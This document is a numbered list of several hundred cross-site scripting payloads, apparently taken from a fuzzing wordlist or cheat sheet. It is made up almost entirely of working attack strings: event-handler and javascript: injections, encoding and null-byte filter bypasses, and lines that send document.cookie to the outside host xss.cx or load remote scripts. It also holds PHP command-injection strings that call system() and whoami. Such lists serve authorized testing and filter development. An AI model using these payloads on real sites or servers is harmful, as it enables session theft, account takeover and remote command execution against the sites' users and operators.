  1017. <iframe src=/ onload=eval(unescape(this.name.replace(/\/g,null))) name=fff%253Dnew%2520this.contentWindow.window.XMLHttpRequest%2528%2529%253Bfff.open%2528%2522GET%2522%252C%2522xssme2%2522%2529%253Bfff.onreadystatechange%253Dfunction%2528%2529%257Bif%2520%2528fff.readyState%253D%253D4%2520%2526%2526%2520fff.status%253D%253D200%2529%257Bconfirm%2528fff.responseText%2529%253B%257D%257D%253Bfff.send%2528%2529%253B></iframe>
  1018. <iframe src="" onmouseover="confirm(document.cookie)">
  1019. <iframe src="#" style=width:exp/**/ressi/**/on(confirm(1))>
  1020. <iframe src=%22404%22 onload=%22content.frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){confirm(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>
  1021. <iframe src=%22404%22 onload=%22frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){confirm(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>
  1022. <iframe src=%22404%22 onload=%22self.frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){confirm(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>
  1023. <iframe src=%22404%22 onload=%22top.frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){confirm(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>
  1024. <iframe src="data:D,<script>confirm(top.document.body.innerHTML)</script>">
  1025. <iframe src="data:message/rfc822,Content-Type: text/html;%0aContent-Transfer-Encoding: quoted-printable%0a%0a=3CSCRIPT=3Econfirm(document.location)=3C/SCRIPT=3E"></iframe>
  1026. <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
  1027. <iframe srcdoc='&lt;body onload=prompt&lpar;1&rpar;&gt;'>
  1028. <iframe srcdoc='&lt;svg/onload=confirm(3)&gt;'>
  1029. <iframe srcdoc="<svg/onload=confirm(domain)>">
  1030. <iframe src="http://xss.cx?x=<iframe name=x></iframe>"></iframe><a href="http://xss.ms" target=x id=x></a><script>window.onload=function(){x.click()}</script>
  1031. <iframe src=`http://xssme.html5sec.org/?xss=<iframe onload=%22xhr=new XMLHttpRequest();xhr.open('GET','http://html5sec.org/xssme2',true);xhr.onreadystatechange=function(){if(xhr.readyState==4%26%26xhr.status==200){confirm(xhr.responseText.match(/'([^']%2b)/)[1])}};xhr.send();%22>`>
  1032. <iframe src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;1&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29></iframe>
  1033. <iframe src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe>
  1034. <iframe src=javascript&colon;confirm&lpar;document&period;location&rpar;>
  1035. <iframe src="javascript:'<script src=http://xss.cx ></script>'"></iframe>
  1036. "><iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)">
  1037. <iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)">
  1038. <iframe width=0 height=0 src="javascript:confirm(1)">
  1039. <iframe/%00/ src=javaSCRIPT&colon;confirm(1)
  1040. "><iframe%20src="http://google.com"%%203E
  1041. iframe.contentWindow.location.constructor.prototype
  1042. <iframe><iframe src=javascript:confirm(4)></iframe>
  1043. <iframe/name="if(0){\u0061lert(1)}else{\u0061lert(1)}"/onload="eval(name)";>
  1044. <iframe/name="if(0){\u0061lert(1)}else{\u0061lert(1)}"/onload="eval(name)";>
  1045. "><iframe/onreadystatechange=confirm(1)
  1046. <iframe/onreadystatechange=confirm(1)
  1047. <iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE>
  1048. <iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE>
  1049. "><iframe/src \/\/onload = prompt(1)
  1050. <iframe/src \/\/onload = prompt(1)
  1051. <iframe/src="data:text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
  1052. <iframe/src="data:text/html,<svg &#111;&#110;load=confirm(1)>">
  1053. /*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt(1) /*iframe/src*/>
  1054. <iframe/src=j&Tab;av&Tab;as&Tab;cri&Tab;pt&Tab;:co&Tab;nfir&Tab;m&Tab;(&Tab;&Tab;1&Tab;)>
  1055. <iframe/src='javascript:if(null==null){javascript:0?1:confirm(1);}'>
  1056. <iframe/src='javascript:if(null==null){javascript:0?1:confirm(1);}'>
  1057. <!--[if]><script>confirm(1)</script -->
  1058. <img language=vbs src=<b onerror=confirm#1/1#>  
  1059. "><img src="/" =_=" title="onerror='prompt(1)'">
  1060. <img src="/" =_=" title="onerror='prompt(1)'">
  1061. <img src ?itworksonchrome?\/onerror = confirm(1)
  1062. <img src ?itworksonchrome?\/onerror = confirm(1)???
  1063. т€œ><img src= onerror=confirm(1)>
  1064. <img src=//\ onload=confirm(1)>
  1065. <img src=`%00`&NewLine; onerror=confirm(1)&NewLine;
  1066. <img src=1 onerror=Function("aler"+"t(documen"+"t.domain)")()>
  1067. "]<img src=1 onerror=confirm(1)>
  1068. /#<img src=1 onerror=javascript:confirm(3)>
  1069. <img src=a onerror=eval(String.fromCharCode(97,108,101,114,116,40,39,67,104,101,97,116,115,111,110,39,41))>
  1070. <img src=http://www.google.fr/images/srpr/logo3w.png onload=confirm(this.ownerDocument.cookie) width=0 height= 0 /> #
  1071. "><img src=javascript:while([{}]);>
  1072. <img src=javascript:while([{}]);>
  1073. <img/ src//'onerror/''/=confirm(1)//'>
  1074. <img src=test.jpg?value=">Yes, we are still inside a tag!">
  1075. <img src=x on*chr*Error="javascript:log(*num*)"/>
  1076. <img src=x on*chr*Error="javascript:log(*num*)"/>
  1077. <img src=x onerror=URL='javascript:confirm(1)'>
  1078. "\"><img src=\"x\" onerror=\"confirm(0)\"/>",
  1079. ><img src=\"x\" onerror=\"confirm(0)\"/>
  1080. <img src=x onerror='confirm(domain+/ -- /+cookie)'>">
  1081. <img src=x onerror='confirm(domain+/ -- /+cookie)'>">
  1082. "><img src=x onerror=confirm('x') />]
  1083. "><img src=x onerror=confirm(1); ...
  1084. "><img src=x onerror=prompt(1);>
  1085. "><img src=x onerror=prompt(document.location);>#"><img src=x onerror=prompt(document.location);>
  1086. "><img src=x onerror=prompt("xss");>#"><img src=x onerror=prompt("xss");>
  1087. "><img src=x onerror=window.open('https://www.google.com/');>
  1088. "<img src=x onerror=x.onerror=confirm(1);prompt(2);confirm(/XSS/.source);prompt(String.fromCharCode(88,83,83))>"
  1089. "\"><img src=x onerror=x.onerror=confirm(1);prompt(2);confirm(/XSS/.source);prompt(String.fromCharCode(88,83,83))>",
  1090. <img src=x onerror=x.onerror=confirm(1);prompt(2);confirm(/XSS/.source);prompt(String.fromCharCode(88,83,83))>
  1091. ><img src=x onerror=x.onerror=confirm(1);prompt(2);confirm(/XSS/.source);prompt(String.fromCharCode(88,83,83))>
  1092. "<img src=x onerror=x.onerror=m='%22%3E%3Cimg%20src%3Dx%20onerror%3Dx.onerror%3Dprompt%28/xss/.source%29%3E';d=unescape(m);document.write(d);prompt(String.fromCharCode(88,83,83))>"
  1093. <img src=x onerror=x.onerror=m='%22%3E%3Cimg%20src%3Dx%20onerror%3Dx.onerror%3Dprompt%28/xss/.source%29%3E';d=unescape(m);document.write(d);prompt(String.fromCharCode(88,83,83))>
  1094. "/><img src=x onerror=x.onerror=prompt(0)>
  1095. "\"/><img src=x onerror=x.onerror=prompt(0)>"
  1096. "/><img src=x onerror=x.onerror=prompt&lpar;/xss/.source&rpar;;confirm(0);confirm(1)>
  1097. "\"/><img src=x onerror=x.onerror=prompt&lpar;/xss/.source&rpar;;confirm(0);confirm(1)>"
  1098. <![<img src=x:x onerror=`confirm(2)//`]-->
  1099. <img src=xx: onerror=confirm(document.location)>
  1100. "><img src="xx:x" alt="``onerror=confirm(1)"><script>document.body.innerHTML+=''</script>
  1101. <img src="xx:x" alt="``onerror=confirm(1)"><script>document.body.innerHTML+=''</script>
  1102. "<img src=`xx:xx` onerror=confirm(/XSS/.source);confirm(1)>"
  1103. "\"><img src=`xx:xx` onerror=confirm(/XSS/.source);confirm(1)>",
  1104. <img src=`xx:xx` onerror=confirm(/XSS/.source);confirm(1)>
  1105. ><img src=`xx:xx` onerror=confirm(/XSS/.source);confirm(1)>
  1106. <img src=xx:xx onerror=window[['logChr*chr*']](*num*)>
  1107. <img src=`xx:xx`onerror=confirm(1)>
  1108. <img src=`xx:xx`onerror=confirm(1)>
  1109. <img/&#09;&#10;&#11; src=`~` onerror=prompt(1)>
  1110. >"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;confirm(%26quot;%26%23x20;XSS%26%23x20;Test%26%23x20;Successful%26quot;)>
  1111. "<img/src=` onerror=confirm(1)>"
  1112. <img/src=` onerror=confirm(1)>
  1113. "><--`<img/src=` onerror=confirm(1)> --!>
  1114. <--`<img/src=` onerror=confirm(1)> --!>
  1115. <img/src=%00 id=confirm(1) onerror=eval(id)
  1116. <img/src=`%00` /id=confirm(1) /onerror=eval(id)
  1117. <img/src=`%00` onerror=this.onerror=confirm(1)
  1118. <img/src=@&#32;&#13; onerror = prompt('&#49;')
  1119. <img/src='http://i.imgur.com/P8mL8.jpg' onmouseover=&Tab;prompt(1)
  1120. <img/src=x alt=confirm(1) onmouseover=eval(alt)>
  1121. <img/src=x alt=confirm(1) onmouseover=eval(alt)>
  1122. "\"><imgsrc=x onerror=confirm.onerror=confirm(1)>",
  1123. ><imgsrc=x onerror=confirm.onerror=confirm(1)>
  1124. <img/src="x"/id="javascript"/name=":confirm"/alt="(1)"/onerror="eval(id + name + alt)">
  1125. =т€™т€><img/src=т€xт€onerror=eval(String.fromCharCode(119,105,110,100,111,119,46,108,111,99,97,108,83,116,111,114,97,103,101,46,115,101,116,73,116,101,109,40,39,105,100,39,44,39,34,62,60,105,109,103,47,115,114,99,61,92,34,120,92,34,111,110,101,114,114,111,114,61,97,108,101,114,116,40,49,41,62,39,41))>
  1126. '><img/src="x:x"/onerror="confirm(1)"'><
  1127. innerHTML=document.title
  1128. innerHTML=innerText
  1129. <input autofocus onfocus=confirm(1)>
  1130. <input formaction=JaVaScript:confirm(document.cookie)>
  1131. <input id=x><input id=x><script>confirm(x)</script>
  1132. <><input onfocus=confirm(0) autofocus <!--
  1133. <input pattern=^((a+.)a)+$ value=aaaaaaaaaaaaaaa!>
  1134. <input type=hidden onformchange=confirm(1)/>
  1135. <input type=hidden style=`x:expression(confirm(1))`>
  1136. <input type=hidden style=`x:expression(confirm(4))`>
  1137. <input type="text" name="a"
  1138. <input type="text" value=`` <div/onmouseover='confirm(1)'>X</div>
  1139. <input type="text" value=``<div/onmouseover='confirm(1)'>X</div>
  1140. "><input value=<><iframe/src=javascript:confirm(1)
  1141. <input value=<><iframe/src=javascript:confirm(1)
  1142. input1=<script/&in%u2119ut1=>al%u0117rt('1')</script>
  1143. <input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;"
  1144. <i/onclick=URL=name>
  1145. "/><isindex action="javas&Tab;cript:confirm(1)" type=image>
  1146. "><isindex action="javas&Tab;cript:confirm(1)" type=image>
  1147. <isindex action="javas&Tab;cript:confirm(1)" type=image>
  1148. <isindex action="javas&Tab;cript:confirm(document.cookie)" type=image>
  1149. <isindex formaction=javascript:confirm(1)>
  1150. <label class="<% confirm(1) %>">
  1151. <li style="color:rgb(''0,0,&#0;javascript:expression(confirm(1))">XSS</li>
  1152. <link rel="import" href="//xss.cx">
  1153. <link rel=import onerror=confirm(1)>
  1154. <link rel="prefetch" href="http://xss.cx">
  1155. <link rel=stylesheet href='data:,+/v8*%7bx:e+AHgAcA-ression(confirm(1))%7D' >
  1156. <link%20rel="import"%20href="?bypass=<script>confirm(document.domain)</script>">
  1157. <listing>&ltimg src=x onerror=confirm(1)&gt</listing>
  1158. &lt
  1159. &lt;
  1160. &lt;a href="http://i.imgur.com/b7sajuK.jpg" download&gt;<a href="http://i.imgur.com/b7sajuK.jpg" download>What a cute kitty!</a>&lt;/a&gt;
  1161. &lt;img src=xx:x onerror=confirm(1)&gt;<script>document.body.innerHTML=document.body.innerText||document.body.textContent</script>
  1162. &lt;label class="&lt;% confirm(1) %&gt;"&gt;
  1163. &lt;/script&gt;&lt;script&gt;confirm(1)&lt;/script&gt;
  1164. <marquee onstart='javascript:confirm&#x28;1&#x29;'>^__^
  1165. "><marquee>confirm( `bypass :)`)</marquee>
  1166. "<marquee/onstart=confirm(/XSS/.source);confirm(1)>"
  1167. "\"><marquee/onstart=confirm(/XSS/.source);confirm(1)>",
  1168. <marquee/onstart=confirm(/XSS/.source);confirm(1)>
  1169. ><marquee/onstart=confirm(/XSS/.source);confirm(1)>
  1170. <math><a xlink:href="//jsfiddle.net/t846h/">click
  1171. <math><a/xlink:href=javascript&colon;confirm&lpar;1&rpar;>click
  1172. <math><a/xlink:href=javascript:eval('\141\154\145\162\164\50\61\51')>X
  1173. <meta charset="x-mac-farsi">У‚ТМscript У‚ТОconfirm(1)//У‚ТМ/script У‚ТО
  1174. <meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; confirm(1)" http-equiv="refresh"/>
  1175. <meta http-equiv=refresh content="0 javascript:confirm(1)">
  1176. "><meta http-equiv="refresh" content="0;javascript&colon;confirm(1)"/>
  1177. <meta http-equiv="refresh" content="0;javascript&colon;confirm(1)"/>
  1178. <meta http-equiv="refresh" content="0;javascript&colon;confirm(1)"/>?
  1179. <meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
  1180. <meta http-equiv=refresh content=+.1,javascript:confirm(document.cookie)>
  1181. ?movieName=";]);}catch(e){}if(!self.a)self.a=!confirm(document.domain);//
  1182. <object data=%22data:text/html;base64,PHNjcmlwdD4gdmFyIHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOyB4aHIub3BlbignR0VUJywgJ2h0dHA6Ly94c3NtZS5odG1sNXNlYy5vcmcveHNzbWUyJywgdHJ1ZSk7IHhoci5vbmxvYWQgPSBmdW5jdGlvbigpIHsgYWxlcnQoeGhyLnJlc3BvbnNlVGV4dC5tYXRjaCgvY29va2llID0gJyguKj8pJy8pWzFdKSB9OyB4aHIuc2VuZCgpOyA8L3NjcmlwdD4=%22>
  1183. <object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>
  1184. <object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>?
  1185. "\"\/><object data='data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4='></object>"
  1186. ><object data='data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4='></object>"
  1187. <object data='data:text/xml,<script xmlns="http://www.w3.org/1999/xhtml ">confirm(1)</script>>'>
  1188. "><object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
  1189. <object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">?
  1190. "/><object data=javascript&colon;\u0061&#x6C;&#101%72t(1)>
  1191. <object data=javascript&colon;\u0061&#x6C;&#101%72t(1)>
  1192. "/><object type='text/x-html' data='javascript:prompt(/xss/.source);var x = prompt;x(0);x(/XSS/.source);x'></object>
  1193. "<object type='text/x-html' data='javascript:prompt(/xss/.source);var x = prompt;x(0);x(/XSS/.source);x'></object>"
  1194. "><object type='text/x-html' data='javascript:prompt(/xss/.source);var x = prompt;x(0);x(/XSS/.source);x'></object>",
  1195. <object type='text/x-html' data='javascript:prompt(/xss/.source);var x = prompt;x(0);x(/XSS/.source);x'></object>
  1196. "/><object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "></object>
  1197. <object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "></object>
  1198. /*-->]]>%>?></object></script></title></textarea></noscript></style></xmp>'-/"///><img id="b1" src=1 onerror='$.getScript("http://xss.cx.js", function() { c(); });'>'
  1199. "<option>'><button><img src=x onerror=confirm(0);></button></option>"
  1200. <option>'><button><img src=x onerror=confirm(0);></button></option>
  1201. "\"\/><option>'><button><img src=x onerror=confirm(1);></button></option>",
  1202. ><option>'><button><img src=x onerror=confirm(1);></button></option>
  1203. <p hidden?={{hidden}}>123</p>
  1204. <p style="font-family:'foo&amp;#x5c;27&amp;#x5c;3bx:expr&amp;#x65;ession(confirm(1))'">
  1205. ?param1=<script>prompt(9);/*&param2=*/</script>
  1206. $.parseHTML('<img src=xx:X onerror=confirm(1)>')
  1207. <?php echo $_SERVER['PHP_SELF']?>
  1208. </plaintext\></|\><plaintext/onmouseover=prompt(1)
  1209. ?playerID=a\";))}catch(e){confirm(document.domain)}//
  1210. ${@print(system($_SERVER['HTTP_USER_AGENT']))}
  1211. ${@print(system(т€œwhoamiт€))}
  1212. <q/oncut=confirm()
  1213. '/><q/oncut=open()>//
  1214. <q/oncut=open()>
  1215. >&quot;&gt;&lt;script&gt;confirm(&#039;hi&#039;)&lt;/script&gt;&quot;&lt;</a>value=""><script>confirm('hi')</script>"<"/>
  1216. .replace(/.+/,eval)//
  1217. <s "'"="" 000="">
  1218. "'"><s/000 "'"><s/000
  1219. "'"><s/000 "'"><s/000
  1220. <s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
  1221. <s[NULL]cript>confirm(1)</s[NULL]cript>'>Clickme</a>
  1222. <sVg><scRipt %00>confirm&lpar;1&rpar;
  1223. <<scr\0ipt/src=http://xss.cx/xss.js></script
  1224. <scri%00ipt>confirm(0);</script>
  1225. <scri%00pt>confirm(1);</scri%00pt>
  1226. "<scri%00pt>confirm(0);</scri%00pt>"
  1227. "\"><scri%00pt>confirm(0);</scri%00pt>",
  1228. <scri%00pt>confirm(0);</scri%00pt>
  1229. ><scri%00pt>confirm(0);</scri%00pt>
  1230. <script>/*     */confirm(1)/*     */</script>
  1231. <script>     function b() { return Safe.get(); } confirm(b({type:String.fromCharCode(99,108,105,99,107),isTrusted:true})); </script>
  1232. <script>  function foo(elem, doc, text) {   elem.onclick = function (e) {    e.__defineGetter__(text[0], function () { return true })    confirm(Safe.get());   };      var event = doc.createEvent(text[1]);   event.initEvent(text[2], true, true);   elem.dispatchEvent(event);  } </script> <img src=http://www.google.fr/images/srpr/logo3w.png onload=foo(this,this.ownerDocument,this.name.split(/,/)) name=isTrusted,MouseEvent,click width=0 height=0 /> #
  1233. <script>  (function (o) {   function exploit(x) {    if (x !== null)     confirm('User cookie is ' %2B x);    else     console.log('fail');   }      o.onclick = function (e) {    e.__defineGetter__('isTrusted', function () { return true; });    exploit(Safe.get());   };      var e = document.createEvent('MouseEvent');   e.initEvent('click', true, true);   o.dispatchEvent(e);  })(document.getElementById('safe123')); </script>
  1234. <script /*%00*/>/*%00*/confirm(1)/*%00*/</script /*%00*/
  1235. <script ~~~>confirm(0%0)</script ~~~>
  1236. <script ^__^>confirm(String.fromCharCode(49))</script ^__^
  1237. '"`><script>/* **chr*log(*num*)// */</script>
  1238. <script>/* **chr*/log(*num*)// */</script>
  1239. <script /***/>/***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/</script /***/
  1240. <script> document.getElementById(%22safe123%22).click=function()+{confirm(Safe.get());} document.getElementById(%22safe123%22).click({'type':'click','isTrusted':true}); </script>
  1241. <script> document.getElementById(%22safe123%22).setCapture(); document.getElementById(%22safe123%22).click(); </script>
  1242. <script for=_ event=onerror()>confirm(/@ma1/)</script><img id=_ src=>
  1243. <script for=document event=onreadystatechange>getElementById('safe123').click()</script>
  1244. <script itworksinallbrowsers>/*<script* */confirm(1)</script
  1245. <script itworksinallbrowsers>/*<script* */confirm(1)</script ?
  1246. <script> location.href = 'data:text/html;base64,PHNjcmlwdD54PW5ldyBYTUxIdHRwUmVxdWVzdCgpO3gub3BlbigiR0VUIiwiaHR0cDovL3hzc21lLmh0bWw1c2VjLm9yZy94c3NtZTIvIix0cnVlKTt4Lm9ubG9hZD1mdW5jdGlvbigpIHsgYWxlcnQoeC5yZXNwb25zZVRleHQubWF0Y2goL2RvY3VtZW50LmNvb2tpZSA9ICcoLio/KScvKVsxXSl9O3guc2VuZChudWxsKTs8L3NjcmlwdD4='; </script>
  1247. <script> logChr0x09(1); </script>
  1248. <script src=>confirm(8)</script>
  1249. "/><script src="data:text/javascript,confirm(1)"></script>
  1250. <script src="data:text/javascript,confirm(1)"></script>
  1251. "<script src='data:text/javascript,prompt(/XSS/.source);var x = prompt;x(0);x(/XSS/.source);x'></script>"
  1252. "\"><script src='data:text/javascript,prompt(/XSS/.source);var x = prompt;x(0);x(/XSS/.source);x'></script>",
  1253. <script src='data:text/javascript,prompt(/XSS/.source);var x = prompt;x(0);x(/XSS/.source);x'></script>
  1254. ><script src='data:text/javascript,prompt(/XSS/.source);var x = prompt;x(0);x(/XSS/.source);x'></script>
  1255. <script type="text/xaml"><Canvas Loaded="confirm" /></script>
  1256. <script> "\ud83d\u*hex4*".match(/.*<.*/) ? log(*num*) : null; </script>
  1257. <script> var xdr = new ActiveXObject(%22Microsoft.XMLHTTP%22);  xdr.open(%22get%22, %22/xssme2%3Fa=1%22, true); xdr.onreadystatechange = function() { try{   var c;   if (c=xdr.responseText.match(/document.cookie = '(.*%3F)'/) )    confirm(c[1]); }catch(e){} };  xdr.send(); </script>
  1258. <script> var+MouseEvent=function+MouseEvent(){}; MouseEvent=MouseEvent var+test=new+MouseEvent(); test.isTrusted=true; test.type='click';  document.getElementById(%22safe123%22).click=function()+{confirm(Safe.get());} document.getElementById(%22safe123%22).click(test); </script>
  1259. "/><script> var+xmlHttp+=+null; try+{ xmlHttp+=+new+XMLHttpRequest(); }+catch(e)+{} if+(xmlHttp)+{ xmlHttp.open('GET',+'/xssme2',+true); xmlHttp.onreadystatechange+=+function+()+{ if+(xmlHttp.readyState+==+4)+{ xmlHttp.responseText.match(/document.cookie%5Cs%2B=%5Cs%2B'(.*)'/gi); confirm(RegExp.%241); } } xmlHttp.send(null); }; </script>#
  1260. <script> var+xmlHttp+=+null; try+{ xmlHttp+=+new+XMLHttpRequest(); }+catch(e)+{} if+(xmlHttp)+{ xmlHttp.open('GET',+'/xssme2',+true); xmlHttp.onreadystatechange+=+function+()+{ if+(xmlHttp.readyState+==+4)+{ xmlHttp.responseText.match(/document.cookie%5Cs%2B=%5Cs%2B'(.*)'/gi); confirm(RegExp.%241); } } xmlHttp.send(null); }; </script>
  1261. <script> var+x+=+showModelessDialog+(this); confirm(x.document.cookie); </script>
  1262. "/><script x> confirm(1) </script 1=2
  1263. <script x> confirm(1) </script 1=2
  1264. <script/%00%00v%00%00>confirm(/@jackmasa/)</script> and %c0т€Г//(%000000%0dconfirm(1)//
  1265. <script>({0:#0=confirm/#0#/#0#(0)})</script>
  1266. <script>(0)['constructor']['constructor']("\141\154\145\162\164(1)")();</script>
  1267. "<script>1-confirm(0);</script>"/>
  1268. "/><script>+-+-1-+-+confirm(1)</script>
  1269. <script>+-+-1-+-+confirm(1)</script>
  1270. <script>Object.defineProperties(window, {Safe: {value: {get: function() {return document.cookie}}}});confirm(Safe.get())</script>
  1271. <script>Object.defineProperty(window, 'Safe', {value:{}});Object.defineProperty(Safe, 'get', {value:function() {return document.cookie}});confirm(Safe.get())</script>
  1272. <script/&Tab; src='https://dl.dropbox.com/u/13018058/js.js' /&Tab;></script>
  1273. <script>a='abc\*chr*\';log(*num*)//def';</script>
  1274. "<script>'confirm(0)%3B<%2Fscript>"
  1275. "\"><script>'confirm(0)%3B<%2Fscript>",
  1276. <script>'confirm(0)%3B<%2Fscript>
  1277. ><script>'confirm(0)%3B<%2Fscript>
  1278. "<script>confirm(0);</script>"
  1279. "><"script">"confirm(0)"</"script">
  1280. "\"><script>confirm(0)</script>",
  1281. <script>confirm(0);</script>
  1282. ><script>confirm(0)</script>
  1283. "'><script>confirm(1)</script>",
  1284. <sc'+'ript>confirm(1)</script>
  1285. <script>confirm(1)</script>
  1286. >"<>"<script>confirm(1)</script>
  1287. [<script>]=*confirm(1)</script>
  1288. тˆ€уИ€уА€scriptуИ€confirm(1)уА€/scriptуИ€
  1289. <%<!--'%><script>confirm(1);</script -->
  1290. <%<!--'%><script>confirm(1);</script -->
  1291. "/><script>confirm(1);</script><img src=x onerror=x.onerror=prompt(0)>
  1292. "\"/><script>confirm(1);</script><img src=x onerror=x.onerror=prompt(0)>"
  1293. >"<>"<script>confirm(2)</script>
  1294. <script>confirm(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(this,'window')(),'document')(), 'getElementsByTagName')('html')[0],'innerHTML')().match(/d.*'/));</script>
  1295. "<script>confirm(String.fromCharCode(88,83,83));</script>"
  1296. "\"><script>confirm(String.fromCharCode(88,83,83));</script>",
  1297. <script>confirm(String.fromCharCode(88,83,83));</script>
  1298. ><script>confirm(String.fromCharCode(88,83,83));</script>
  1299. <script>/*confirm("Woops");*/</script>
  1300. <script>confirm(document.documentElement.innerHTML.match(/'([^']%2b)/)[1])</script>
  1301. <script>confirm(document.getElementsByTagName('html')[0].innerHTML.match(/'([^']%2b)/)[1])</script>
  1302. <script>confirm(document.head.childNodes[3].text)</script>
  1303. <script>confirm(document.head.innerHTML.substr(146,20));</script>
  1304. >"><script>confirm(document.location)</script>&
  1305. <script>confirm("&quot;no")</script>
  1306. <script>confirm(x.y[0])</script>
  1307. <script>confirm(x.y.x.y.x.y[0]);confirm(x.x.x.x.x.x.x.x.x.y.x.y.x.y[0]);</script>
  1308. "'`><script>a=/xss;*chr*;i=0;log(*num*);a/i;</script>
  1309. "`'><script>*chr*log(*num*)</script>
  1310. <script>document.body.innerHTML="<h1>XSS-Here</h1>"</script>
  1311. <script>document.write(Array(184).join('<marquee>'))</script>
  1312. "/><script>document.write("<img src=//xss.cx/" + document.cookie + ">")</script>
  1313. <script>document.write("<img src=//xss.cx/" + document.cookie + ">")</script>
  1314. <script>(function() {var event = document.createEvent(%22MouseEvents%22);event.initMouseEvent(%22click%22, true, true, window, 0, 0, 0, 0, 0, false, false, false, false, 0, null);var fakeData = [event, {isTrusted: true}, event];arguments.__defineGetter__('0', function() { return fakeData.pop(); });confirm(Safe.get.apply(null, arguments));})();</script>
  1315. <script>function x(window) { eval(location.hash.substr(1)) }; open(%22javascript:opener.x(window)%22)</script>#var xhr = new window.XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { confirm(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();
  1316. <script>function x(window) { eval(location.hash.substr(1)) }</script><iframe id=iframe src=%22javascript:parent.x(window)%22><iframe>#var xhr = new window.XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { confirm(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();
  1317. <script>if("x\*chr*".length==1) { log(*num*);}</script>
  1318. </script><img/*%00/src="worksinchrome&colon;prompt&#x28;1&#x29;"/%00*/onerror='eval(src)'>
  1319. "`'><script>lo*chr*g(*num*)</script>
  1320. "`'><script>lo*chr*g(*num*)</script>
  1321. "'`><script>log*chr*(*num*)</script>
  1322. <script/onload=confirm(1)></script>
  1323. \"><script>prompt(1)</script>
  1324. </script><script>confirm(3)</script>
  1325. </script><script>/*var a="/*""'/**/;confirm(1);//</script>
  1326. <script>({set/**/$($){_/**/setter=$,_=1}}).$=confirm</script>
